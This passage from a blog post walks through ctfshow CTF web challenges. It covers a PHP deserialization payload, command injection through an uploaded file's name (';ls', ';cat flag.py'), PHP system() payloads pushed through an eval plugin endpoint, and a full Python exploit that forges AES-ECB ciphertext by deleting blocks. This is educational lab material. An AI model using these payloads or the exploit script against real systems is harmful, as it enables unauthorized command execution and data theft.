            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
        }
    }
    
    public function __toString(){
        $this->call();
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
    }
}

$ser1 = new Ion_Fan_Princess();
$ser1->nickname = '小甜甜';
$ser2 = new Moon();
$ser2->name = $ser1;
echo(serialize($ser2));
?>

得到序列化结果 O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";s:9:"小甜甜";}}


将结果作为参数传入 code,构造 Payload ?code=O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";s:9:"小甜甜";}}(用 hackbar 传参前需要将参数进行一次 url 编码,即 ?code=O%3A4%3A%22Moon%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A16%3A%22Ion_Fan_Princess%22%3A1%3A%7Bs%3A8%3A%22nickname%22%3Bs%3A9%3A%22%E5%B0%8F%E7%94%9C%E7%94%9C%22%3B%7D%7D):

得到 flag。

Flag

ctfshow{e5943669-dd58-4c74-b906-ae3dcff64114}

参考

__toString()方法-diligentyang-CSDN
大神们请出来,Global与Public有什么区别-threenewbee-CSDN
PHP反序列化从初级到高级利用篇-fish_pompom-博客园

18 - LSB探姬

题目

分析

猜测是文件上传漏洞。根据提示,我们需要上传能直接执行命令的隐写文件。


分析给出的源码:

# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File       : app.py
# Time       :2022/10/20 15:16
# Author     :g4_simon
# version    :python 3.9.7
# Description:TSTEG-WEB
# flag is in /app/flag.py
"""
from flask import *
import os
#初始化全局变量
app = Flask(__name__)  # 程序名称为内置变量__name__
@app.route('/', methods=['GET'])  # 当客户端以get请求访问“/”时,响应index函数返回的内容
def index():    
    return render_template('upload.html')  # 呈现upload.html文件的模板
@app.route('/upload', methods=['GET', 'POST'])  # 当客户端以get或post请求访问“/upload”时,响应upload_file函数返回的内容
def upload_file():
    if request.method == 'POST':  # 如果请求方式为post
        try:  # 尝试
            f = request.files['file']  # 获取上传文件的内容赋给f
            f.save('upload/'+f.filename)  # 将内容保存在upload目录下的同名文件中
            cmd="python3 tsteg.py upload/"+f.filename  # cmd变量初始化为字符串“python3 tsteg.py upload/”+传入文件的文件名
            result=os.popen(cmd).read()  # 运行cmd变量存储的字符串命令,返回值按字节读取赋给result
            data={"code":0,"cmd":cmd,"result":result,"message":"file uploaded!"}  # 整理为数组赋给data
            return jsonify(data)  # 用JSON格式返回数组data
        except:  # 若try时报错
            data={"code":1,"message":"file upload error!"}
            return jsonify(data)
    else:  # 如果请求方式非post
        return render_template('upload.html')  # 呈现upload.html文件的模板
@app.route('/source', methods=['GET'])  # 当客户端以get请求访问“/source”时,响应show_source函数返回的内容
def show_source():
    return render_template('source.html')  # 呈现source.html文件的模板
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80,debug=False)  # 运行py文件,监听任意ip地址的请求,端口80,出错不报错
          

源码的 24 行将字符串 python3 tsteg.py upload/ 直接拼接传入文件的文件名存储在 cmd 变量中,并在 25 行将 cmd 变量作为命令直接执行,将文件上传到 upload 目录下。根据命令内容无法确定上传的文件是否会被运行,但可以通过在上传文件的文件名中并入命令来执行。


新建一个空文件并保存为 jpg 格式。在 BurpSuite 的内置浏览器打开环境后开启拦截。上传文件,拦截到数据包:


在上传的文件名后拼接 ;ls 查询当前目录下的文件列表:


放行数据包,得到 flag 文件的名称:


再次上传文件,这次在文件名后拼接 ;cat flag.py 查看 flag 内容:


放行,得到 flag:

Flag

ctfshow{aa1a2790-8c22-44a0-925f-190ce46bd575}

参考

文件上传漏洞 (上传知识点、题型总结大全-upload靶场全解)-Fasthand_-CSDN
Python Flask Web 框架入门-执着的怪味豆-博客园
一文看懂python如何执行cmd命令-Rocky006-CSDN
Python read()函数:按字节(字符)读取文件
json的几种标准格式-小财迷,嘻嘻-CSDN
Python 异常处理-菜鸟教程

19 - Is_Not_Obfuscate

题目

提示:这道题是纸老虎,看题目名字。

分析

题目中的 Obfuscate 翻译为“使模糊;使困惑;使迷惑”。


F12 发现 html 文件中有两条注释:


查看 lib.php,什么也没有:


查看 robots.txt:

有两个不允许爬的文件,查看这两个文件,没有发现什么。


把 html 文件全展开,发现中间还有两条注释:


第一条注释 eval(decode($_GET['input'])); 将 get 请求传入 input 的值解密后作为 php 代码执行,第二条注释是一个值为 test 的执行按钮代码,联系上一条注释内容,猜测需要向 input 传入一串 php 命令的密文。由于没有找到 decode 函数具体的解密类型(也可能是我学术不精……),猜测需要被解密的密文内容为直接给出的数据。


转了一圈没有找到看着像密文的字符串。回顾之前的疑点,尝试向 lib.php 文件的 flag 传不同的参数,这里传入的是 a,得到意义不明的字符串:


尝试将字符串作为密文以 action 模式赋给 input。传参前记得进行一次 url 加密,否则可能存在字符被转义的情况:


得到 php 及 html 代码(因为一页放不下所以复制了一页,左右两个标签页可连贯阅读):


html 文件即为之前有四条注释的文件,这里分析 php 代码:

<?php
header("Content-Type:text/html;charset=utf-8");  // 向客户端发送原始http报头
include 'lib.php';  // 包含lib.php 文件
if(!is_dir('./plugins/')){  // 如果./plugins/目录不存在
    @mkdir('./plugins/', 0777);  // 创建./plugins/目录,权限为0777。创建失败不报错
}
// //Test it and delete it !!!
// //测试执行加密后的插件代码
if($_GET['action'] === 'test') {  // 如果get请求传入的action值为test字符串
    echo 'Anything is good?Please test it.';  // 输出
    @eval(decode($_GET['input']));  // 将get请求传入的input值解密后作为php代码执行
}

ini_set('open_basedir', './plugins/');  // 将php.ini文件中的open_basedir参数设置为./plugins/
if(!empty($_GET['action'])){  // 若get请求向action传参
    switch ($_GET['action']){  // 根据get请求传入action的参数选择执行语句
        case 'pull':  // 若传入pull
            $output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));  // 把“./plugins/”拼接get请求传入的input参数得到的文件内容读入字符串并解密后作为php代码执行,结果赋给output。执行出错不报错
            echo "pull success";  // 输出
            break;  // 退出switch
        case 'push':  // 若传入push
            $input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));  // 把get请求传入output的值后接入youyou字符串,进行md5加密后在前面接字符串“./plugins/”,组成数据写入文件的文件名(文件路径)。把get请求传入output的值加密后的数据写入文件
            echo "push success";  // 输出
            break;  // 退出switch
        default:    // 否则
            die('hacker!');  // 输入hacker!后结束脚本
    }
}

?> 

代码根据传入 action 的值进行操作。传入 pull 则在 ./plugins/ 目录下查找对应文件,将找到文件的内容解密后作为 php 代码执行,结果赋给 output;传入 push 则对 get 请求同时传入的 output 值进行解密,结果写入对应文件。根据之前的结果,代码第 11 行的执行结果会被直接输出到屏幕,因此我们可以先将 php 命令 push 进去,再将存有命令执行结果的 md5 值对应文件 pull 出来。


查看当前目录:
?action=push&output=<?php system('ls');?>
?action=pull&input=307069f7dae7fc9e7cb879a300da8faa // input值为“<?php system('ls');?>youyou”的md5码


查看根目录:
?action=push&output=<?php system('ls /');?>
?action=pull&input=111027b7e2e049bde24fad012d7c5164 // input值为“<?php system('ls /');?>youyou”的md5码


发现一个 f1agaaa,尝试打开:
?action=push&output=<?php system('cat /f1agaaa');?>
?action=pull&input=8de2c193e83843438703374fb6b511c9 // input值为“<?php system('cat /f1agaaa');?>youyou”的md5码

得到 flag。

Flag

ctfshow{836b458b-64e4-43cc-88df-3d205b436d89}

参考

PHP is_dir()用法及代码示例-纯净天空
PHP mkdir() 函数-W3school
关于linux下0666和0777权限所代表的意思-谢永奇1-CSDN
PHP中的ini_set()函数介绍-秋水sir-CSDN
PHP eval() 函数-菜鸟教程
PHP Switch 语句
PHP file_put_contents() 函数-菜鸟教程
PHP file_get_contents() 函数-菜鸟教程
MD5在线加密_解密_破解—MD5在线

20 - 龙珠NFT

题目

分析

先看看源码吧:

# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File       : app.py
# Time       :2022/10/20 15:16
# Author     :g4_simon
# version    :python 3.9.7
# Description:DragonBall Radar (BlockChain)
"""
import hashlib
from flask import *
import os
import json
import hashlib
from Crypto.Cipher import AES
import random
import time
import base64
#网上找的AES加密代码,加密我又不懂,加就完事儿了
class AESCipher():    # AESCipher类
    def __init__(self,key):  # 构造函数,用于初始化
        self.key = self.add_16(hashlib.md5(key.encode()).hexdigest()[:16])  # 构造密钥。由key加密后计算md5码,返回十六进制摘要的前十六个字符作为add_16函数的参数
        self.model = AES.MODE_ECB  # 加密方式:ECB
        self.aes = AES.new(self.key,self.model)
    def add_16(self,par):  # 用于填充使每个消息分组都是16字节
        if type(par) == str:  # 若输入类型为字符串
            par = par.encode()  # 对字符串utf-8编码
        while len(par) % 16 != 0:  # 若字符串长度不是16的整数倍
            par += b'\x00'  # 尾部填充字节00
        return par  #返回par
    def aesencrypt(self,text):  # AES加密函数
        text = self.add_16(text)  # 字节填充
        self.encrypt_text = self.aes.encrypt(text)  # 进行AES加密
        return self.encrypt_text  # 返回加密结果
    def aesdecrypt(self,text):  # AES解密函数
        self.decrypt_text = self.aes.decrypt(text)  # 进行AES解密
        self.decrypt_text = self.decrypt_text.strip(b"\x00")  # 去除字符串两端的00字节
        return self.decrypt_text  # 返回解密结果
#初始化全局变量
app = Flask(__name__)  # 创建Flask类的实例
flag=os.getenv('FLAG')  # 返回环境变量“FLAG”键的值
AES_ECB=AESCipher(flag)  # flag作为key传入AESCipher类,返回self赋给AES_ECB
app.config['JSON_AS_ASCII'] = False  # 返回的字符串中文显示
#懒得弄数据库或者类,直接弄字典就完事儿了
players={}
# @开头的是装饰器
@app.route('/', methods=['GET'])  # get方式访问
def index():
    """
    提供登录功能
    """
@app.route('/radar',methods=['GET','POST'])  # get或post方式访问radar目录
def radar():
   """
   提供雷达界面
   """
@app.route('/find_dragonball',methods=['GET','POST'])  # get或post方式访问find_dragonball目录
def  find_dragonball():
    """
    找龙珠,返回龙珠地址
    """
    xxxxxxxxxxx#无用代码可以忽略
    if search_count==10:#第一次搜寻,给一个一星龙珠
        dragonball="1"
    elif search_count<=0:
        data={"code":1,"msg":"搜寻次数已用完"}
        return jsonify(data)  # 按JavasSript语法返回data
    else:  # 一般搜寻
        random_num=random.randint(1,1000)  # 生成1到1000内的随机数,包含头尾
        if random_num<=6:  # 千分之六(伪随机数实际不一定)的概率抽到龙珠
            dragonball=一个没拿过的球,比如'6'
        else:
            dragonball='0'#0就代表没有发现龙珠
    players[player_id]['search_count']=search_count-1  # 记录用户搜寻剩余次数
    data={'player_id':player_id,'dragonball':dragonball,'round_no':str(11-search_count),'time':time.strftime('%Y-%m-%d %H:%M:%S')}  # 整理data,包括用户id、本次搜寻到的龙珠、当前轮数、格式化时间
    #json.dumps(data)='{"player_id": "572d4e421e5e6b9bc11d815e8a027112", "dragonball": "1", "round_no": "9", "time":"2022-10-19 15:06:45"}'  # ?
    data['address']= base64.b64encode(AES_ECB.aesencrypt(json.dumps(data))).decode()  # data转化为json字符串后进行AES加密,密文进行base64编码后再按utf-8解码
    return jsonify(data)  # 按JavasSript语法返回data
@app.route('/get_dragonball',methods=['GET','POST'])  # get或post方式访问get_dragonball目录
def get_dragonball():
    """
    根据龙珠地址解密后添加到用户信息
    """
    xxxxxxxxx#无用代码可以忽略
    try:
        player_id=request.cookies.get("player_id")  # 从请求中cookie的player_id字段获取用户id
        address=request.args.get('address')  # 获取并整理get请求传入给address的参数
        data=AES_ECB.aesdecrypt(base64.b64decode(address))  # address进行base64解码后进行AES解密
        data=json.loads(data.decode())  # data解码后转换为python对象
        if data['dragonball'] !="0":  # 如果data中存在龙珠
            players[data['player_id']]['dragonballs'].append(data['dragonball'])  # 龙珠计入用户数据
            return jsonify({'get_ball':data['dragonball']})  # JavaScript语法返回本次得到的龙珠
        else:  # 否则
            return jsonify({'code':1,'msg':"这个地址没有发现龙珠"})  # JavaScript语法返回提示
    except:
        return jsonify({'code':1,'msg':"你干啥???????"})  # try运行失败返回
@app.route('/flag',methods=['GET','POST'])  # get或post方式访问flag目录
def get_flag():
    """
    查看龙珠库存
    """
    #如果有7颗龙珠就拿到flag~
@app.route('/source',methods=['GET','POST'])  # get或post方式访问source目录
def get_source():
    """
    查看源代码
    """
if __name__ == '__main__':  # main函数
    app.run(host='0.0.0.0',port=80,debug=False)  # 运行应用程序,监听任意ip地址的请求,端口80,出错不报错

源码 102 行注释要求集齐 7 颗龙珠拿 flag,第一次抽必中一个一星龙珠,之后的 9 次机会每次都以千分之 6 的概率抽到新龙珠。find_dragonball 目录(或者应该叫路由)每次的抽取结果被整理进 data 后进行 AES 加密及 base64 编码,之后在 get_dragonball 目录解码解密后根据 dragonball 键的值进行反馈。


源码 76 行给了一个 data 的例子,猜测和最后的 flag 有关系。尝试将范例 data 的 player_id 输入 username,搜索一次得到地址 XCj9UEFLC9NPVNQG34yToBys8JQIe58e7yYgqWIoDi17Qgb+D2rvVjA0/Ot253L/G7FuAKmyed8i0uD0qWT4MXAftAjwZI1FbZtX8d9Aw/y7QngH8G/P1TdHQX0SzKCExvweEtCpIjuVu04hOwmzSaId2/j4xissP5qy4Hf/fV0=

地址由源码 77 行计算得出。


输入地址得到一个 1 星龙珠:

1 星龙珠由源码 88 行解码解密后由源码 90 行判断得到,而 88 行用于解密的参数 address 是由我们输入的。或许可以通过构造 dragonball 伪造 address 得到 flag。


由于 AES 算法的密钥是直接读取系统中 “FLAG” 的路径,我们无法直接伪造 address……WP 解法!看看官方给的 exp 脚本:

import requests
import json
import base64
import random
url='http://xxxxxxxxxxxxxxxxxxxxxx/'  # 题目环境url


s=requests.session()  # 自动处理cookie
username=str(random.randint(1,100000))  # 1到100000的随机数字符串作为username
print(username)  # 打印
r=s.get(url+'?username='+username)  # 向题目环境的username传参,返回的结果赋给r
responses=[]

for i in range(10):  # 循环10次
        r=s.get(url+'find_dragonball')  # 搜索龙珠,效果等同于点击“开始搜索”
        responses.append(json.loads(r.text))  # 搜索结果转换为python对象存入responses末尾

for item in responses:  # 对responses中每条结果
        data=json.dumps({'player_id':item['player_id'],'dragonball':item['dragonball'],'round_no':item['round_no'],'time':item['time']})  # responses按js字符串格式整理
        miwen=base64.b64decode(item['address'])  # 对address的值进行base64解码
        round_no=item['round_no']  # 获取round_no轮数值
        if round_no in [str(i) for i in range(1,8)]:  # 处理第1至7轮结果
                fake_address=miwen[:64]+miwen[80:]  # 删除第65-80字节
                fake_address=base64.b64encode(fake_address).decode()  # base64加密后进行url编码得到伪造的address
                r=s.get(url+'get_dragonball',params={"address":fake_address})  # 将伪造的address传入get_dragonball目录中get_dragonball函数的address变量

r=s.get(url+'flag')  # 获取flag
print(r.text)  # 打印

虽然源码 78 行返回的是整个 data,但由于不知道密钥,我们无法直接对返回 data 中的数据进行修改后得到 address,但可以对 base64 编码前的密文进行修改。由于源码中使用的 AES 加密为 ECB 模式,每个分组的加密结果只与分组对应的十六字节明文有关,不受其他分组影响,故官方 exp 直接将第 9 个分组删去,使 dragonball 值直接等于当前轮数,由于当前轮数 round_no 范围在 1-10 之间,即伪造 address 的龙珠 dragonball 一定大于 0,则提交后一定能拿到龙珠。


运行 exp,得到 flag:

Flag

ctfshow{dd68504d-e61b-4b3b-993c-2348150fc7e6}

参考

python类可以传递参数吗-流芳-Python学习网
Python常用函数:os.getenv()【用途:获取环境变量键的值(存在),否则返回默认值】-u013250861-CSDN
Flask 让jsonify返回的json串支持中文显示-Hijiao-CSDN
Flask入门---@app.route()使用-Philo`-CSDN
网址 URL 最后的斜杠 / 是作甚的?-hoxis-CSDN
Flask 1.1.2:request中存储参数的属性(form、args、data、json、files、values)使用简介-mola tutu-CSDN
CTFshow 菜狗杯 web方向 全-Jay 17-CSDN
requests 模块的 requests.session() 功能-python编程-CSDN

posted @ 2023-12-17 22:10  Guanz  阅读(701)  评论(0编辑  收藏  举报